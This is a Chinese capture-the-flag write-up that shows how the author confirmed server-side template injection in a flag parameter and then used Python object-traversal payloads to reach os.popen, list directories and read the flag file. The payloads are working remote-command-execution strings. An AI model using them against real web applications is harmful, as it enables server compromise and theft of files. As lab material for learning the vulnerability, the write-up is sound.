这道题我也是第一次碰,不过我很好奇为什么我不从SSTI_1开始做
##解题思路
拿到页面一串英文,告诉我们缺少一个flag参数,于是我令flag=1,于是打印了1,输入各种语句也是,原封不动变为传入的字符串
根据题目提示,查了下SSTI,于是得知这道题可能用了SSTI模板注入,因此我们需要验证下
如果{{7*7}}执行结果为49的话,说明,这就是SSTI模板注入!
使用:{{ }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值
{* *}是注释,a{* *}b被模板渲染的结果应该为ab
_class_ | 返回一个实例所属的类 |
---|---|
__init__ | 查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper的字眼,说明没有重载 |
函数名 .__globals__ | 获取 function 所处空间下可使用的 module、方法以及所有变量 |
os.popen() | 用于从一个命令打开一个管道 |
open() | 用于打开一个文件,并返回文件对象 |
config | 当前application的所有配置。 此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} |
至于模板类型,如图,绿色就是成功执行,红色就是执行失败
先ls查看当前目录下有什么文件或目录,有个app目录?进去看看
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
发现/app目录下有个flag文件
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
将ls改成cat读取到flag文件内容,得到flag
/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
##参考链接:
SSTI(模板注入)漏洞(入门篇):1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
SSTI模版注入(初步):SSTI模版注入(初步)_ssti模板注入-CSDN博客
BUUCTF SSTI模板注入:BUUCTF SSTI模板注入 - 高人于斯 - 博客园
##总结
SSTI 服务器端模板注入(Server-Side Template Injection)
原理:用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
利用点:服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
注意:凡是使用模板的地方都可能会出现 SSTI 的问题